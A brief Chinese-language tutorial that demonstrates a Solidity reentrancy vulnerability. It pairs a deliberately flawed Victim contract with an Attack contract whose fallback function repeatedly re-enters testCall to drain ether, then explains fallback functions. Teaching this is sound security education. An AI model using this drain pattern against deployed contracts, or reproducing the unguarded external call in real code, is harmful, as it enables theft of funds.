Reentrancy Demo

我们来看一下 非常简单的一个漏洞。

pragma solidity ^0.6.0;


contract Victim{
    
    mapping(address =>uint) public balances;
    
    function deposit() public payable{
        
        
        balances[msg.sender] += msg.value;
        
    }
    
    
    function testCall(uint _v) public {
        
        require(balances[msg.sender] >= _v);
        (bool sent,) = msg.sender.call{value:1 wei}("");
    }
    
    function getBalace() public view returns (uint _value){
        
        return address(this).balance;
    }
}



contract Attack{
    
    Victim public _vi;
    
    constructor(address _VictimAddress) public {
        
        _vi = Victim(_VictimAddress);
    }
    
    function send() public payable{
        
        require(msg.value >= 1 wei);
        _vi.deposit{value: 50 wei}();
    }
    
    function attack() public payable{
        
        _vi.testCall(1 wei);
        
        
    }
    
    
    function getBalaces() public view returns(uint _value){
        
        return address(this).balance;
        
    }
    
    
    fallback() external payable{
        
        
        if(address(_vi).balance >= 10 wei ){
            
            _vi.testCall(1 wei);
        }
        
    }
    
}

逻辑非常简单。效果非常不错。

基本概念
智能合约中的 fallback (回退)函数
一个智能合约中,可以有一个没有函数名,没有参数也没有返回值的函数,也就是 fallback 函数.
一个没有定义 fallback 函数的合约,如果接收ether,会触发异常,并返还ether(solidity v0.4.0开始)。
所以合约要接收ether,必须实现回退函数。
1,如果调用这个合约时,没有匹配上任何一个函数。那么,就会调用默认的 fallback 函数。,

2,当合约收到ether时(没有任何其它数据),这个函数也会被执行。注意,执行 fallback 函数会消耗gas。